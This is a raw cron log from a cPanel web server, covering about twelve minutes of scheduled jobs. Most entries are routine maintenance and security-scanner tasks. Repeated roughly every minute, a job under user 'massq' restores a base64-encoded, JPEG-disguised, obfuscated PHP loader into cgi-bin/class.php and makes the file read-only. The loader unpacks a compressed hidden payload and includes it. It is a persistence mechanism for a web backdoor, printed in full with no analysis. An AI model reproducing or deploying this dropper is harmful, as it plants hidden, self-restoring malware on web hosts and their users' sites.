Sep  1 04:48:01 server CROND[12072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:49:02 server CROND[12464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:49:02 server CROND[12466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:49:02 server CROND[12465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:50:01 server CROND[12939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:50:01 server CROND[12942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:50:01 server CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:50:01 server CROND[12946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:50:01 server CROND[12947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:50:01 server CROND[12945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:50:01 server CROND[12948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:50:01 server CROND[12950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:50:01 server CROND[12944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:51:01 server CROND[13781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:51:01 server CROND[13782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:51:01 server CROND[13780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:52:01 server CROND[14166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:52:01 server CROND[14167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:52:01 server CROND[14168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:53:01 server CROND[15119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:53:01 server CROND[15120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:53:01 server CROND[15118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:54:01 server CROND[15492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:54:01 server CROND[15493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:54:01 server CROND[15494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:55:01 server CROND[15868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:55:01 server CROND[15870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:55:01 server CROND[15869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:55:01 server CROND[15871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:55:01 server CROND[15874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:55:01 server CROND[15872]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:55:01 server CROND[15873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:56:01 server CROND[16788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:56:01 server CROND[16789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:56:01 server CROND[16790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:57:01 server CROND[17167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:57:01 server CROND[17168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:57:01 server CROND[17169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:57:01 server CROND[17171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:58:01 server CROND[17537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:58:01 server CROND[17538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:58:01 server CROND[17539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:59:01 server CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:59:01 server CROND[17909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:59:01 server CROND[17911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:00:01 server CROND[18298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:00:01 server CROND[18299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
